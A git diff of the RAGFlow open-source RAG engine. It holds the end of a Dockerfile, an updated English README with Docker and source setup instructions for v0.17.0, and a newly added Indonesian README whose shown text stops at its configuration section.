+RUN conda run -n py11 pip install $(grep -ivE "mpi4py" ./requirements.txt) # without mpi4py==3.1.5
+RUN conda run -n py11 pip install redis
+
+RUN dnf update -y && \
+    dnf install -y glib2 mesa-libGL && \
+    dnf clean all
+
+RUN conda run -n py11 pip install ollama
+RUN conda run -n py11 python -m nltk.downloader punkt
+RUN conda run -n py11 python -m nltk.downloader wordnet
+
+ENV PYTHONPATH=/ragflow/
+ENV HF_ENDPOINT=https://hf-mirror.com
+
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+ADD docker/entrypoint.sh ./entrypoint.sh
+RUN chmod +x ./entrypoint.sh
+
+ENTRYPOINT ["./entrypoint.sh"]

README.md

@@ -1,198 +1,364 @@
-<div align="center">
-<a href="https://demo.ragflow.io/">
-<img src="web/src/assets/logo-with-text.png" width="520" alt="ragflow logo">
-</a>
-</div>
-
-<p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_ja.md">日本語</a>
-</p>
-
-<p align="center">
-    <a href="https://demo.ragflow.io" target="_blank">
-        <img alt="Static Badge" src="https://img.shields.io/badge/RAGFLOW-LLM-white?&labelColor=dd0af7"></a>
-    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v1.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.3.0"></a>
-      <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=7d09f1" alt="license">
-  </a>
-</p>
-
-## 💡 What is RAGFlow?
-
-[RAGFlow](https://demo.ragflow.io) is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document understanding. It offers a streamlined RAG workflow for businesses of any scale, combining LLM (Large Language Models) to provide truthful question-answering capabilities, backed by well-founded citations from various complex formatted data.
-
-## 🌟 Key Features
-
-### 🍭 **"Quality in, quality out"**
-
-- [Deep document understanding](./deepdoc/README.md)-based knowledge extraction from unstructured data with complicated formats.
-- Finds "needle in a data haystack" of literally unlimited tokens.
-
-### 🍱 **Template-based chunking**
-
-- Intelligent and explainable.
-- Plenty of template options to choose from.
-
-### 🌱 **Grounded citations with reduced hallucinations**
-
-- Visualization of text chunking to allow human intervention.
-- Quick view of the key references and traceable citations to support grounded answers.
-
-### 🍔 **Compatibility with heterogeneous data sources**
-
-- Supports Word, slides, excel, txt, images, scanned copies, structured data, web pages, and more.
-
-### 🛀 **Automated and effortless RAG workflow**
-
-- Streamlined RAG orchestration catered to both personal and large businesses.
-- Configurable LLMs as well as embedding models.
-- Multiple recall paired with fused re-ranking.
-- Intuitive APIs for seamless integration with business.
-
-## 📌 Latest Features
-
-- 2024-04-19 Support conversation API([detail](./docs/conversation_api.md)).
-- 2024-04-16 Add an embedding model 'bce-embedding-base_v1' from [BCEmbedding](https://github.com/netease-youdao/BCEmbedding).
-- 2024-04-16 Add [FastEmbed](https://github.com/qdrant/fastembed), which is designed specifically for light and speedy embedding.
-- 2024-04-11 Support [Xinference](./docs/xinference.md) for local LLM deployment.
-- 2024-04-10 Add a new layout recognization model for analyzing Laws documentation.
-- 2024-04-08 Support [Ollama](./docs/ollama.md) for local LLM deployment.
-- 2024-04-07 Support Chinese UI.
-
-## 🔎 System Architecture
-
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
-</div>
-
-## 🎬 Get Started
-
-### 📝 Prerequisites
-
-- CPU >= 4 cores
-- RAM >= 12 GB
-- Docker >= 24.0.0 & Docker Compose >= v2.26.1
-  > If you have not installed Docker on your local machine (Windows, Mac, or Linux), see [Install Docker Engine](https://docs.docker.com/engine/install/).
-
-### 🚀 Start up the server
-
-1. Ensure `vm.max_map_count` >= 262144 ([more](./docs/max_map_count.md)):
-
-   > To check the value of `vm.max_map_count`:
-   >
-   > ```bash
-   > $ sysctl vm.max_map_count
-   > ```
-   >
-   > Reset `vm.max_map_count` to a value at least 262144 if it is not.
-   >
-   > ```bash
-   > # In this case, we set it to 262144:
-   > $ sudo sysctl -w vm.max_map_count=262144
-   > ```
-   >
-   > This change will be reset after a system reboot. To ensure your change remains permanent, add or update the `vm.max_map_count` value in **/etc/sysctl.conf** accordingly:
-   >
-   > ```bash
-   > vm.max_map_count=262144
-   > ```
-
-2. Clone the repo:
-
-   ```bash
-   $ git clone https://github.com/infiniflow/ragflow.git
-   ```
-
-3. Build the pre-built Docker images and start up the server:
-
-   ```bash
-   $ cd ragflow/docker
-   $ chmod +x ./entrypoint.sh
-   $ docker compose up -d
-   ```
-
-   > The core image is about 9 GB in size and may take a while to load.
-
-4. Check the server status after having the server up and running:
-
-   ```bash
-   $ docker logs -f ragflow-server
-   ```
-
-   _The following output confirms a successful launch of the system:_
-
-   ```bash
-       ____                 ______ __
-      / __ \ ____ _ ____ _ / ____// /____  _      __
-     / /_/ // __ `// __ `// /_   / // __ \| | /| / /
-    / _, _// /_/ // /_/ // __/  / // /_/ /| |/ |/ /
-   /_/ |_| \__,_/ \__, //_/    /_/ \____/ |__/|__/
-                 /____/
-
-    * Running on all addresses (0.0.0.0)
-    * Running on http://127.0.0.1:9380
-    * Running on http://x.x.x.x:9380
-    INFO:werkzeug:Press CTRL+C to quit
-   ```
-
-5. In your web browser, enter the IP address of your server and log in to RAGFlow.
-   > In the given scenario, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default HTTP serving port `80` can be omitted when using the default configurations.
-6. In [service_conf.yaml](./docker/service_conf.yaml), select the desired LLM factory in `user_default_llm` and update the `API_KEY` field with the corresponding API key.
-
-   > See [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md) for more information.
-
-   _The show is now on!_
-
-## 🔧 Configurations
-
-When it comes to system configurations, you will need to manage the following files:
-
-- [.env](./docker/.env): Keeps the fundamental setups for the system, such as `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, and `MINIO_PASSWORD`.
-- [service_conf.yaml](./docker/service_conf.yaml): Configures the back-end services.
-- [docker-compose.yml](./docker/docker-compose.yml): The system relies on [docker-compose.yml](./docker/docker-compose.yml) to start up.
-
-You must ensure that changes to the [.env](./docker/.env) file are in line with what are in the [service_conf.yaml](./docker/service_conf.yaml) file.
-
-> The [./docker/README](./docker/README.md) file provides a detailed description of the environment settings and service configurations, and you are REQUIRED to ensure that all environment settings listed in the [./docker/README](./docker/README.md) file are aligned with the corresponding configurations in the [service_conf.yaml](./docker/service_conf.yaml) file.
-
-To update the default HTTP serving port (80), go to [docker-compose.yml](./docker/docker-compose.yml) and change `80:80` to `<YOUR_SERVING_PORT>:80`.
-
-> Updates to all system configurations require a system reboot to take effect:
->
-> ```bash
-> $ docker-compose up -d
-> ```
-
-## 🛠️ Build from source
-
-To build the Docker images from source:
-
-```bash
-$ git clone https://github.com/infiniflow/ragflow.git
-$ cd ragflow/
-$ docker build -t infiniflow/ragflow:v0.3.0 .
-$ cd ragflow/docker
-$ chmod +x ./entrypoint.sh
-$ docker compose up -d
-```
-
-## 📚 Documentation
-
-- [FAQ](./docs/faq.md)
-
-## 📜 Roadmap
-
-See the [RAGFlow Roadmap 2024](https://github.com/infiniflow/ragflow/issues/162)
-
-## 🏄 Community
-
-- [Discord](https://discord.gg/4XxujFgUN7)
-- [Twitter](https://twitter.com/infiniflowai)
-
-## 🙌 Contributing
-
-RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community. If you would like to be a part, review our [Contribution Guidelines](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md) first.
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+<details open>
+<summary><b>📕 Table of Contents</b></summary>
+
+- 💡 [What is RAGFlow?](#-what-is-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Latest Updates](#-latest-updates)
+- 🌟 [Key Features](#-key-features)
+- 🔎 [System Architecture](#-system-architecture)
+- 🎬 [Get Started](#-get-started)
+- 🔧 [Configurations](#-configurations)
+- 🔧 [Build a docker image without embedding models](#-build-a-docker-image-without-embedding-models)
+- 🔧 [Build a docker image including embedding models](#-build-a-docker-image-including-embedding-models)
+- 🔨 [Launch service from source for development](#-launch-service-from-source-for-development)
+- 📚 [Documentation](#-documentation)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Community](#-community)
+- 🙌 [Contributing](#-contributing)
+
+</details>
+
+## 💡 What is RAGFlow?
+
+[RAGFlow](https://ragflow.io/) is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document
+understanding. It offers a streamlined RAG workflow for businesses of any scale, combining LLM (Large Language Models)
+to provide truthful question-answering capabilities, backed by well-founded citations from various complex formatted
+data.
+
+## 🎮 Demo
+
+Try our demo at [https://demo.ragflow.io](https://demo.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 Latest Updates
+
+- 2025-02-05 Updates the model list of 'SILICONFLOW' and adds support for Deepseek-R1/DeepSeek-V3.
+- 2025-01-26 Optimizes knowledge graph extraction and application, offering various configuration options.
+- 2024-12-18 Upgrades Document Layout Analysis model in DeepDoc.
+- 2024-12-04 Adds support for pagerank score in knowledge base.
+- 2024-11-22 Adds more variables to Agent.
+- 2024-11-01 Adds keyword extraction and related question generation to the parsed chunks to improve the accuracy of retrieval.
+- 2024-08-22 Support text to SQL statements through RAG.
+
+## 🎉 Stay Tuned
+
+⭐️ Star our repository to stay up-to-date with exciting new features and improvements! Get instant notifications for new
+releases! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Key Features
+
+### 🍭 **"Quality in, quality out"**
+
+- [Deep document understanding](./deepdoc/README.md)-based knowledge extraction from unstructured data with complicated
+  formats.
+- Finds "needle in a data haystack" of literally unlimited tokens.
+
+### 🍱 **Template-based chunking**
+
+- Intelligent and explainable.
+- Plenty of template options to choose from.
+
+### 🌱 **Grounded citations with reduced hallucinations**
+
+- Visualization of text chunking to allow human intervention.
+- Quick view of the key references and traceable citations to support grounded answers.
+
+### 🍔 **Compatibility with heterogeneous data sources**
+
+- Supports Word, slides, excel, txt, images, scanned copies, structured data, web pages, and more.
+
+### 🛀 **Automated and effortless RAG workflow**
+
+- Streamlined RAG orchestration catered to both personal and large businesses.
+- Configurable LLMs as well as embedding models.
+- Multiple recall paired with fused re-ranking.
+- Intuitive APIs for seamless integration with business.
+
+## 🔎 System Architecture
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 Get Started
+
+### 📝 Prerequisites
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+  > If you have not installed Docker on your local machine (Windows, Mac, or Linux),
+  > see [Install Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Start up the server
+
+1. Ensure `vm.max_map_count` >= 262144:
+
+   > To check the value of `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Reset `vm.max_map_count` to a value at least 262144 if it is not.
+   >
+   > ```bash
+   > # In this case, we set it to 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > This change will be reset after a system reboot. To ensure your change remains permanent, add or update the
+   > `vm.max_map_count` value in **/etc/sysctl.conf** accordingly:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. Clone the repo:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. Start up the server using the pre-built Docker images:
+
+   > The command below downloads the `v0.17.0-slim` edition of the RAGFlow Docker image. Refer to the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.17.0-slim`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server. For example: set `RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0` for the full edition `v0.17.0`.
+
+   ```bash
+   $ cd ragflow/docker
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   |-------------------|-----------------|-----------------------|--------------------------|
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                     | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+4. Check the server status after having the server up and running:
+
+   ```bash
+   $ docker logs -f ragflow-server
+   ```
+
+   _The following output confirms a successful launch of the system:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > If you skip this confirmation step and directly log in to RAGFlow, your browser may prompt a `network anormal`
+   > error because, at that moment, your RAGFlow may not be fully initialized.
+
+5. In your web browser, enter the IP address of your server and log in to RAGFlow.
+   > With the default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default
+   > HTTP serving port `80` can be omitted when using the default configurations.
+6. In [service_conf.yaml.template](./docker/service_conf.yaml.template), select the desired LLM factory in `user_default_llm` and update
+   the `API_KEY` field with the corresponding API key.
+
+   > See [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) for more information.
+
+   _The show is on!_
+
+## 🔧 Configurations
+
+When it comes to system configurations, you will need to manage the following files:
+
+- [.env](./docker/.env): Keeps the fundamental setups for the system, such as `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, and
+  `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configures the back-end services. The environment variables in this file will be automatically populated when the Docker container starts. Any environment variables set within the Docker container will be available for use, allowing you to customize service behavior based on the deployment environment.
+- [docker-compose.yml](./docker/docker-compose.yml): The system relies on [docker-compose.yml](./docker/docker-compose.yml) to start up.
+
+> The [./docker/README](./docker/README.md) file provides a detailed description of the environment settings and service
+> configurations which can be used as `${ENV_VARS}` in the [service_conf.yaml.template](./docker/service_conf.yaml.template) file.
+
+To update the default HTTP serving port (80), go to [docker-compose.yml](./docker/docker-compose.yml) and change `80:80`
+to `<YOUR_SERVING_PORT>:80`.
+
+Updates to the above configurations require a reboot of all containers to take effect:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Switch doc engine from Elasticsearch to Infinity
+
+RAGFlow uses Elasticsearch by default for storing full text and vectors. To switch to [Infinity](https://github.com/infiniflow/infinity/), follow these steps:
+
+1. Stop all running containers:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+> [!WARNING]
+> `-v` will delete the docker container volumes, and the existing data will be cleared.
+
+2. Set `DOC_ENGINE` in **docker/.env** to `infinity`.
+
+3. Start the containers:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Switching to Infinity on a Linux/arm64 machine is not yet officially supported.
+
+## 🔧 Build a Docker image without embedding models
+
+This image is approximately 2 GB in size and relies on external LLM and embedding services.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Build a Docker image including embedding models
+
+This image is approximately 9 GB in size. As it includes embedding models, it relies on external LLM services only.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Launch service from source for development
+
+1. Install uv, or skip this step if it is already installed:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. Clone the source code and install Python dependencies:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. Launch the dependent services (MinIO, Elasticsearch, Redis, and MySQL) using Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Add the following line to `/etc/hosts` to resolve all hosts specified in **docker/.env** to `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. If you cannot access HuggingFace, set the `HF_ENDPOINT` environment variable to use a mirror site:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. Launch backend service:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. Install frontend dependencies:
+   ```bash
+   cd web
+   npm install
+   ```
+7. Launch frontend service:
+
+   ```bash
+   npm run dev
+   ```
+
+   _The following output confirms a successful launch of the system:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+## 📚 Documentation
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+See the [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Community
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contributing
+
+RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community.
+If you would like to be a part, review our [Contribution Guidelines](./CONTRIBUTING.md) first.

README_id.md

@@ -0,0 +1,330 @@
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="520" alt="Logo ragflow">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="Ikuti di X (Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Lencana Daring" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Rilis%20Terbaru" alt="Rilis Terbaru">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/Lisensi-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="Lisensi">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Dokumentasi</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Peta Jalan</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+<details open>
+<summary><b>📕 Daftar Isi </b> </summary>
+
+- 💡 [Apa Itu RAGFlow?](#-apa-itu-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Pembaruan Terbaru](#-pembaruan-terbaru)
+- 🌟 [Fitur Utama](#-fitur-utama)
+- 🔎 [Arsitektur Sistem](#-arsitektur-sistem)
+- 🎬 [Mulai](#-mulai)
+- 🔧 [Konfigurasi](#-konfigurasi)
+- 🔧 [Membangun Image Docker tanpa Model Embedding](#-membangun-image-docker-tanpa-model-embedding)
+- 🔧 [Membangun Image Docker dengan Model Embedding](#-membangun-image-docker-dengan-model-embedding)
+- 🔨 [Meluncurkan aplikasi dari Sumber untuk Pengembangan](#-meluncurkan-aplikasi-dari-sumber-untuk-pengembangan)
+- 📚 [Dokumentasi](#-dokumentasi)
+- 📜 [Peta Jalan](#-peta-jalan)
+- 🏄 [Komunitas](#-komunitas)
+- 🙌 [Kontribusi](#-kontribusi)
+
+</details>
+
+## 💡 Apa Itu RAGFlow?
+
+[RAGFlow](https://ragflow.io/) adalah mesin RAG (Retrieval-Augmented Generation) open-source berbasis pemahaman dokumen yang mendalam. Platform ini menyediakan alur kerja RAG yang efisien untuk bisnis dengan berbagai skala, menggabungkan LLM (Large Language Models) untuk menyediakan kemampuan tanya-jawab yang benar dan didukung oleh referensi dari data terstruktur kompleks.
+
+## 🎮 Demo
+
+Coba demo kami di [https://demo.ragflow.io](https://demo.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 Pembaruan Terbaru
+
+- 2025-02-05 Memperbarui daftar model 'SILICONFLOW' dan menambahkan dukungan untuk Deepseek-R1/DeepSeek-V3.
+- 2025-01-26 Optimalkan ekstraksi dan penerapan grafik pengetahuan dan sediakan berbagai opsi konfigurasi.
+- 2024-12-18 Meningkatkan model Analisis Tata Letak Dokumen di DeepDoc.
+- 2024-12-04 Mendukung skor pagerank ke basis pengetahuan.
+- 2024-11-22 Peningkatan definisi dan penggunaan variabel di Agen.
+- 2024-11-01 Penambahan ekstraksi kata kunci dan pembuatan pertanyaan terkait untuk meningkatkan akurasi pengambilan.
+- 2024-08-22 Dukungan untuk teks ke pernyataan SQL melalui RAG.
+
+## 🎉 Tetap Terkini
+
+⭐️ Star repositori kami untuk tetap mendapat informasi tentang fitur baru dan peningkatan menarik! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Fitur Utama
+
+### 🍭 **"Kualitas Masuk, Kualitas Keluar"**
+
+- Ekstraksi pengetahuan berbasis pemahaman dokumen mendalam dari data tidak terstruktur dengan format yang rumit.
+- Menemukan "jarum di tumpukan data" dengan token yang hampir tidak terbatas.
+
+### 🍱 **Pemotongan Berbasis Template**
+
+- Cerdas dan dapat dijelaskan.
+- Banyak pilihan template yang tersedia.
+
+### 🌱 **Referensi yang Didasarkan pada Data untuk Mengurangi Hallusinasi**
+
+- Visualisasi pemotongan teks memungkinkan intervensi manusia.
+- Tampilan cepat referensi kunci dan referensi yang dapat dilacak untuk mendukung jawaban yang didasarkan pada fakta.
+
+### 🍔 **Kompatibilitas dengan Sumber Data Heterogen**
+
+- Mendukung Word, slide, excel, txt, gambar, salinan hasil scan, data terstruktur, halaman web, dan banyak lagi.
+
+### 🛀 **Alur Kerja RAG yang Otomatis dan Mudah**
+
+- Orkestrasi RAG yang ramping untuk bisnis kecil dan besar.
+- LLM yang dapat dikonfigurasi serta model embedding.
+- Peringkat ulang berpasangan dengan beberapa pengambilan ulang.
+- API intuitif untuk integrasi yang mudah dengan bisnis.
+
+## 🔎 Arsitektur Sistem
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 Mulai
+
+### 📝 Prasyarat
+
+- CPU >= 4 inti
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+
+### 🚀 Menjalankan Server
+
+1. Pastikan `vm.max_map_count` >= 262144:
+
+   > Untuk memeriksa nilai `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Jika nilainya kurang dari 262144, setel ulang `vm.max_map_count` ke setidaknya 262144:
+   >
+   > ```bash
+   > # Dalam contoh ini, kita atur menjadi 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > Perubahan ini akan hilang setelah sistem direboot. Untuk membuat perubahan ini permanen, tambahkan atau perbarui nilai
+   > `vm.max_map_count` di **/etc/sysctl.conf**:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. Clone repositori:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. Bangun image Docker pre-built dan jalankan server:
+
+   > Perintah di bawah ini mengunduh edisi v0.17.0-slim dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.17.0-slim, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server. Misalnya, atur RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0 untuk edisi lengkap v0.17.0.
+
+   ```bash
+   $ cd ragflow/docker
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   | ----------------- | --------------- | --------------------- | ------------------------ |
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+4. Periksa status server setelah server aktif dan berjalan:
+
+   ```bash
+   $ docker logs -f ragflow-server
+   ```
+
+   _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > Jika Anda melewatkan langkah ini dan langsung login ke RAGFlow, browser Anda mungkin menampilkan error `network anormal`
+   > karena RAGFlow mungkin belum sepenuhnya siap.
+
+5. Buka browser web Anda, masukkan alamat IP server Anda, dan login ke RAGFlow.
+   > Dengan pengaturan default, Anda hanya perlu memasukkan `http://IP_DEVICE_ANDA` (**tanpa** nomor port) karena
+   > port HTTP default `80` bisa dihilangkan saat menggunakan konfigurasi default.
+6. Dalam [service_conf.yaml.template](./docker/service_conf.yaml.template), pilih LLM factory yang diinginkan di `user_default_llm` dan perbarui
+   bidang `API_KEY` dengan kunci API yang sesuai.
+
+   > Lihat [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) untuk informasi lebih lanjut.
+
+   _Sistem telah siap digunakan!_
+
+## 🔧 Konfigurasi
+
+Untuk konfigurasi sistem, Anda perlu mengelola file-file berikut:
